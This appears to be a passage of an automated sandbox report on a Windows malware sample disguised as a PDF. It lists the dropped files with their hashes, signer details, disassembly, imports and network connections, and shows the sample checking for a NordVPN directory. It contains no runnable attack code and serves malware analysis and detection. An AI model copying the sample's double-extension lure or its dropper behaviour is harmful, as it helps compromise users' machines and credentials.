                                                                                                              Preview:.d.H....K.yk......H.M3(..9.x.T.8.b.8..f'p.g0.=..r#+|h...*O.e..F........7C..c.V..-...v...h.+}...........G.t...4.5/..c.<ZN6P..EM..g....?..N.2.....@.}.GSi.N..c<!f.....'!....c.0..E..d.G...+..!....U..:pg.4. >.K.....{..f....W..W....y[8.P'..J|AP..........&a...J.{...8.....&.=..|......`.B.=.6y,.g...?..-.PA...V.....e..{.$.T..u..7>.@..a8..)N...(..{LBW.h....2.:....}....l.j#.|A.9a....b......Q!5...kM.KEJ}.~.c.....n&b.....d4..7..W q.4.C<V........t....b...2h...}..`....2...-.m.C....~..=$...B........yH..g[.O.....^.g.A.7.[..m_%N....1...<.F..E.222.>.rN*.1..)....#X.A.<b..v.[f.5...i....Qi....v..Gk.SYX...hq...OZ.....(.....I.....B....M....8..B..Oe....M.Z4..}.B....|.u..e...a..+..r...H!.Rgr...a.'.2...M|....{..B..|@.....d.mw-(|.....W.ri%:....9.s.....$P'....1..B".o....%.k/.).As.[u.'.;.....rL.>..N..R..+...z...?..~({.......|.<..$.._.d.C.5.......p..*.&.fb..y.C.........H.J..}..o..VrH.?...'..d'Y.0.s...u.............&.x...9<..8.K{....Js..._WN?...c..`5......Ao8
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                                              Category:dropped
                                                                                                              Size (bytes):280
                                                                                                              Entropy (8bit):6.884777426179894
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:6v/lhPysoA6j9O8TpSeebCz3OihXmZAqnW4Iiy0AKWp:6v/789dlSVCS4EAdr0A7
                                                                                                              MD5:E045BCC0CB4A927351847E8121B4028F
                                                                                                              SHA1:F150AEB17049F02F933C06887C6D723737EABBAC
                                                                                                              SHA-256:9B155EA22C005212FB0D703A00F8C694AC5186FD7AE662095662E2DF4D6AFC25
                                                                                                              SHA-512:5A071A2913E522BD5BEDD13B26EBF0A4CD85DD524A5F2E535C1A2D4D011ACD2BA72B492DF7FE2A4C48CE2CA1110C2E1C3C8BDD48CCC3378DA9CF7017776B6B57
                                                                                                              Malicious:false
                                                                                                              Preview:.PNG........IHDR................a....sBIT....|.d.....IDAT8...MN.A......V.9\.2.C...{.......... ,pp...:cwc.......~.....w|.{.,..q..u.*LJ.V...o.".d~>.....tC.#z....C..H.RRPk.{....U\B..S.p..K\'.F.d..1.<C.((x./.1...m....z....&J.C.:%k.Y..*op[(..=.U3.m8O....{B.[.9Nj.....IEND.B`.
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                                              Category:dropped
                                                                                                              Size (bytes):157
                                                                                                              Entropy (8bit):5.696490782682435
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3:yionv//thPl9vt3lAnsrtxBlls9SFH1rk/1w/DCUjlOlpVfxlsmEk6EElbFW+Zl7:6v/lhPysO92H9E2bzlOl7ZEk8lb4+Zbp
                                                                                                              MD5:E00A1207EC0C8015080E123883F8084E
                                                                                                              SHA1:7AD0252C322AB8127389D76D4472D71DC68D827E
                                                                                                              SHA-256:017BEC4D0BA3D63FAB7EFCDEF113ACA1FC16B0C293612EDFFDED838F26A68276
                                                                                                              SHA-512:9A36F51B4A31A35F17205266993057187D266E494B7771BF92B4B2B942B8B0DEFC1B0629163E0FC54F7219EE2EE41E5F7192EF94317FDA818D5D9D834EAF4E00
                                                                                                              Malicious:false
                                                                                                              Preview:.PNG........IHDR................a....sBIT....|.d....TIDAT8.c`."8...........I..\.a....C.1....k.1......b....I..T.D...`..`...1b..V..!A.a.....*..[......IEND.B`.
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:SVG Scalable Vector Graphics image
                                                                                                              Category:dropped
                                                                                                              Size (bytes):900
                                                                                                              Entropy (8bit):5.081559949496383
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:12:t4CDqMjrLbMUNGk3+2cpijMbeGu2riCydrkeYRAerAFFLAmaHGdK50l9ME:t4CbjlGeBGnfyKbRAecFxMGMal9ME
                                                                                                              MD5:F83FFF2104761E08923AC52B6C2B3D0A
                                                                                                              SHA1:2DE6AAA3400F526822754FCF4B6ABBEC614396CF
                                                                                                              SHA-256:E82BD8E897FB68CABE80BD8643FF8AF92C7688C95496FB6C97DEF37A36EF5D17
                                                                                                              SHA-512:898C35C10A46C021E44100D054DD5A31C92D2D27FD5D2F8910180A1ADC9958541AAD7D3D5A84FBDFAEF038A8981DF946FB2E30C750026E2955022115A269E571
                                                                                                              Malicious:false
                                                                                                              Preview:<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M5.525 0C4.433 0 3.61.68 3.295 1.295c-.314.615-.3 1.205-.3 1.205v13.117l5-2.5 4.997 2.5.01-7.617h-.004l-.004-5.5s.014-.584-.293-1.197C12.394.689 11.577 0 10.494 0zm0 2h4.97c.416 0 .349.06.417.197a.956.956 0 01.082.303l.004 7.5-.002 2.383-3.002-1.5-3 1.5V2.5s.013-.16.082-.295c.069-.134.01-.205.45-.205z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolation:auto;mix-blend-mode:normal" color="#000" font-weight="400" font-family="sans-serif" overflow="visible" fill="#2e3436" fill-rule="evenodd"/></svg>
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):12288
                                                                                                              Entropy (8bit):5.814115788739565
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
                                                                                                              MD5:CFF85C549D536F651D4FB8387F1976F2
                                                                                                              SHA1:D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
                                                                                                              SHA-256:8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
                                                                                                              SHA-512:531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              • Antivirus: Metadefender, Detection: 4%, Browse
                                                                                                              Joe Sandbox View:
                                                                                                              • Filename: 008s06523610054680b6011375030062022.pdf.exe, Detection: malicious, Browse
                                                                                                              • Filename: Wyciag_26_08102045800000190201217926.exe, Detection: malicious, Browse
                                                                                                              • Filename: Wyciag_26_08102045800000190201217926.exe, Detection: malicious, Browse
                                                                                                              • Filename: 008s06523610054680b6011375030062022.pdf.exe, Detection: malicious, Browse
                                                                                                              • Filename: 008s06523610054680b6011375030062022.pdf.exe, Detection: malicious, Browse
                                                                                                              • Filename: Hesap Hareketleri 09-11-2022.exe, Detection: malicious, Browse
                                                                                                              • Filename: 206617814-044211-sanlccjavap0004-8487.exe, Detection: malicious, Browse
                                                                                                              • Filename: Hesap Hareketleri 09-11-2022.exe, Detection: malicious, Browse
                                                                                                              • Filename: 206617814-044211-sanlccjavap0004-8487.exe, Detection: malicious, Browse
                                                                                                              • Filename: WK1392587588.exe, Detection: malicious, Browse
                                                                                                              • Filename: WK1392587588.exe, Detection: malicious, Browse
                                                                                                              • Filename: WK1392587588.exe, Detection: malicious, Browse
                                                                                                              • Filename: WK1392587588.exe, Detection: malicious, Browse
                                                                                                              • Filename: , Detection: malicious, Browse
                                                                                                              • Filename: xnCHiqBdgn.exe, Detection: malicious, Browse
                                                                                                              • Filename: xnCHiqBdgn.exe, Detection: malicious, Browse
                                                                                                              • Filename: 3fiUnk3KKz.exe, Detection: malicious, Browse
                                                                                                              • Filename: 3fiUnk3KKz.exe, Detection: malicious, Browse
                                                                                                              • Filename: yVtdqWv5dw.exe, Detection: malicious, Browse
                                                                                                              • Filename: OtOeDC1ET3.exe, Detection: malicious, Browse
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."...........*.......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                              Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):30
                                                                                                              Entropy (8bit):3.964735178725505
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3:IBVFBWAGRHneyy:ITqAGRHner
                                                                                                              MD5:9F754B47B351EF0FC32527B541420595
                                                                                                              SHA1:006C66220B33E98C725B73495FE97B3291CE14D9
                                                                                                              SHA-256:0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
                                                                                                              SHA-512:C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
                                                                                                              Malicious:false
                                                                                                              Preview:NordVPN directory not found!..
                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                              Entropy (8bit):6.961201848230866
                                                                                                              TrID:
                                                                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                              File name:008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File size:588784
                                                                                                              MD5:4ee5255998226b831376e7b4eb562a48
                                                                                                              SHA1:84dbc5bc06aa88d931d795c262c959e76e8c2920
                                                                                                              SHA256:12937c11d2e57fd765506ce887b29efedc923a273464d83524334e061d78224c
                                                                                                              SHA512:6a18610c5d864e1e9466a66d26aa46c20b79daf795d53e8f802336455e6ee245a01846e07d783106543f1184f0b6b17bdc19304fa5bd041b225d518bcad31bba
                                                                                                              SSDEEP:12288:GbEpK8dtZaX/SWOZIwX2lYIA2rMd+5H6g2+:GbE08PaUmLDMdBg/
                                                                                                              TLSH:D5C4CEA17366CCD2DC6608F75C92932118A1EF7C78D4DE2366EE372ED8722C3585A14B
                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j.........
                                                                                                              Icon Hash:00888ce484e43e80
                                                                                                              Entrypoint:0x40352d
                                                                                                              Entrypoint Section:.text
                                                                                                              Digitally signed:true
                                                                                                              Imagebase:0x400000
                                                                                                              Subsystem:windows gui
                                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                              DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                              Time Stamp:0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]
                                                                                                              TLS Callbacks:
                                                                                                              CLR (.Net) Version:
                                                                                                              OS Version Major:4
                                                                                                              OS Version Minor:0
                                                                                                              File Version Major:4
                                                                                                              File Version Minor:0
                                                                                                              Subsystem Version Major:4
                                                                                                              Subsystem Version Minor:0
                                                                                                              Import Hash:56a78d55f3f7af51443e58e0ce2fb5f6
                                                                                                              Signature Valid:false
                                                                                                              Signature Issuer:OU="Trillebaand Hypoteser ", E=Skrubberens@Problematiserer.Is, O=Skolekommissionens, L=Oklahoma City, S=Oklahoma, C=US
                                                                                                              Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                                                                              Error Number:-2146762487
                                                                                                              Not Before, Not After
                                                                                                              • 05/11/2022 23:21:40 04/11/2025 23:21:40
                                                                                                              Subject Chain
                                                                                                              • OU="Trillebaand Hypoteser ", E=Skrubberens@Problematiserer.Is, O=Skolekommissionens, L=Oklahoma City, S=Oklahoma, C=US
                                                                                                              Version:3
                                                                                                              Thumbprint MD5:825BD9D9A20210E24BFDEA860306B9F6
                                                                                                              Thumbprint SHA-1:30FB056206E30FACCEE386A4B3FFE68004BD715D
                                                                                                              Thumbprint SHA-256:6484FFB817C2EF8CC9265D0F9726D23C31F1923733D4D9CE3A07A54D54C24A47
                                                                                                              Serial:673755BFA9346C69
                                                                                                              Instruction
                                                                                                              push ebp
                                                                                                              mov ebp, esp
                                                                                                              sub esp, 000003F4h
                                                                                                              push ebx
                                                                                                              push esi
                                                                                                              push edi
                                                                                                              push 00000020h
                                                                                                              pop edi
                                                                                                              xor ebx, ebx
                                                                                                              push 00008001h
                                                                                                              mov dword ptr [ebp-14h], ebx
                                                                                                              mov dword ptr [ebp-04h], 0040A2E0h
                                                                                                              mov dword ptr [ebp-10h], ebx
                                                                                                              call dword ptr [004080CCh]
                                                                                                              mov esi, dword ptr [004080D0h]
                                                                                                              lea eax, dword ptr [ebp-00000140h]
                                                                                                              push eax
                                                                                                              mov dword ptr [ebp-0000012Ch], ebx
                                                                                                              mov dword ptr [ebp-2Ch], ebx
                                                                                                              mov dword ptr [ebp-28h], ebx
                                                                                                              mov dword ptr [ebp-00000140h], 0000011Ch
                                                                                                              call esi
                                                                                                              test eax, eax
                                                                                                              jne 00007F74F060B93Ah
                                                                                                              lea eax, dword ptr [ebp-00000140h]
                                                                                                              mov dword ptr [ebp-00000140h], 00000114h
                                                                                                              push eax
                                                                                                              call esi
                                                                                                              mov ax, word ptr [ebp-0000012Ch]
                                                                                                              mov ecx, dword ptr [ebp-00000112h]
                                                                                                              sub ax, 00000053h
                                                                                                              add ecx, FFFFFFD0h
                                                                                                              neg ax
                                                                                                              sbb eax, eax
                                                                                                              mov byte ptr [ebp-26h], 00000004h
                                                                                                              not eax
                                                                                                              and eax, ecx
                                                                                                              mov word ptr [ebp-2Ch], ax
                                                                                                              cmp dword ptr [ebp-0000013Ch], 0Ah
                                                                                                              jnc 00007F74F060B90Ah
                                                                                                              and word ptr [ebp-00000132h], 0000h
                                                                                                              mov eax, dword ptr [ebp-00000134h]
                                                                                                              movzx ecx, byte ptr [ebp-00000138h]
                                                                                                              mov dword ptr [00434FB8h], eax
                                                                                                              xor eax, eax
                                                                                                              mov ah, byte ptr [ebp-0000013Ch]
                                                                                                              movzx eax, ax
                                                                                                              or eax, ecx
                                                                                                              xor ecx, ecx
                                                                                                              mov ch, byte ptr [ebp-2Ch]
                                                                                                              movzx ecx, cx
                                                                                                              shl eax, 10h
                                                                                                              or eax, ecx
                                                                                                              Programming Language:
                                                                                                              • [EXP] VC++ 6.0 SP5 build 8804
                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x7f0000x482e0.rsrc
                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x8e6b00x1540.rsrc
                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                              .text0x10000x68970x6a00False0.6661261792452831data6.458398214928006IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                              .rdata0x80000x14a60x1600False0.4392755681818182data5.024109281264143IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                              .data0xa0000x2b0180x600False0.521484375data4.15458210408643IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                              .ndata0x360000x490000x0False0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                              .rsrc0x7f0000x482e00x48400False0.41600886678200694data5.5457975360121745IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                              NameRVASizeTypeLanguageCountry
                                                                                                              RT_BITMAP0x7f7480x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States
                                                                                                              RT_ICON0x7fab00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 67584EnglishUnited States
                                                                                                              RT_ICON0x902d80x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 38016EnglishUnited States
                                                                                                              RT_ICON0x997800x5d45PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States
                                                                                                              RT_ICON0x9f4c80x5488Device independent bitmap graphic, 72 x 144 x 32, image size 21600EnglishUnited States
                                                                                                              RT_ICON0xa49500x4c28Device independent bitmap graphic, 128 x 256 x 8, image size 16384EnglishUnited States
                                                                                                              RT_ICON0xa95780x494fPNG image data, 256 x 256, 8-bit colormap, non-interlacedEnglishUnited States
                                                                                                              RT_ICON0xadec80x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States
                                                                                                              RT_ICON0xb20f00x2ca8Device independent bitmap graphic, 96 x 192 x 8, image size 9216EnglishUnited States
                                                                                                              RT_ICON0xb4d980x2868Device independent bitmap graphic, 128 x 256 x 4, image size 8192EnglishUnited States
                                                                                                              RT_ICON0xb76000x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States
                                                                                                              RT_ICON0xb9ba80x1d05PNG image data, 256 x 256, 8-bit colormap, non-interlacedEnglishUnited States
                                                                                                              RT_ICON0xbb8b00x1bc8Device independent bitmap graphic, 72 x 144 x 8, image size 5184EnglishUnited States
                                                                                                              RT_ICON0xbd4780x16e8Device independent bitmap graphic, 96 x 192 x 4, image size 4608EnglishUnited States
                                                                                                              RT_ICON0xbeb600x1628Device independent bitmap graphic, 64 x 128 x 8, image size 4096EnglishUnited States
                                                                                                              RT_ICON0xc01880x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States
                                                                                                              RT_ICON0xc12300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304EnglishUnited States
                                                                                                              RT_ICON0xc20d80xde8Device independent bitmap graphic, 72 x 144 x 4, image size 2592EnglishUnited States
                                                                                                              RT_ICON0xc2ec00xa68Device independent bitmap graphic, 64 x 128 x 4, image size 2048EnglishUnited States
                                                                                                              RT_ICON0xc39280x988Device independent bitmap graphic, 24 x 48 x 32, image size 2400EnglishUnited States
                                                                                                              RT_ICON0xc42b00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024EnglishUnited States
                                                                                                              RT_ICON0xc4b580x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 576EnglishUnited States
                                                                                                              RT_ICON0xc52200x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishUnited States
                                                                                                              RT_ICON0xc58880x568Device independent bitmap graphic, 16 x 32 x 8, image size 256EnglishUnited States
                                                                                                              RT_ICON0xc5df00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States
                                                                                                              RT_ICON0xc62580x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishUnited States
                                                                                                              RT_ICON0xc65400x1e8Device independent bitmap graphic, 24 x 48 x 4, image size 288EnglishUnited States
                                                                                                              RT_ICON0xc67280x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishUnited States
                                                                                                              RT_DIALOG0xc68500x144dataEnglishUnited States
                                                                                                              RT_DIALOG0xc69980x13cdataEnglishUnited States
                                                                                                              RT_DIALOG0xc6ad80x100dataEnglishUnited States
                                                                                                              RT_DIALOG0xc6bd80x11cdataEnglishUnited States
                                                                                                              RT_DIALOG0xc6cf80xc4dataEnglishUnited States
                                                                                                              RT_DIALOG0xc6dc00x60dataEnglishUnited States
                                                                                                              RT_GROUP_ICON0xc6e200x180dataEnglishUnited States
                                                                                                              RT_MANIFEST0xc6fa00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States
                                                                                                              DLLImport
                                                                                                              ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
                                                                                                              SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
                                                                                                              ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
                                                                                                              COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                                                                                              USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
                                                                                                              GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                                                                                              KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW
                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                              EnglishUnited States
                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                              Nov 10, 2022 20:35:33.049335957 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.049416065 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.049562931 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.092341900 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.092390060 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.153497934 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.153820038 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.154618979 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.154798031 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.285808086 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.285856962 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.286289930 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.286487103 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.290057898 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.332511902 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.713295937 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.713527918 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.713624001 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.713682890 CET44349800142.250.185.142192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.713795900 CET49800443192.168.11.20142.250.185.142
                                                                                                              Nov 10, 2022 20:35:33.813860893 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.813882113 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.814227104 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.814604998 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.814615965 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.853224993 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.853420019 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.854204893 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.854439020 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.857919931 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.857933998 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.858248949 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:33.858470917 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.858834028 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:33.900485992 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.104692936 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.104942083 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.105040073 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.105084896 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.105295897 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.105710983 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.105969906 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.106496096 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.106708050 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.106796026 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.106962919 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.107034922 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.107230902 CET49801443192.168.11.20142.250.185.225
                                                                                                              Nov 10, 2022 20:35:34.107311010 CET44349801142.250.185.225192.168.11.20
                                                                                                              Nov 10, 2022 20:35:34.107501984 CET49801443192.168.11.20142.250.185.225
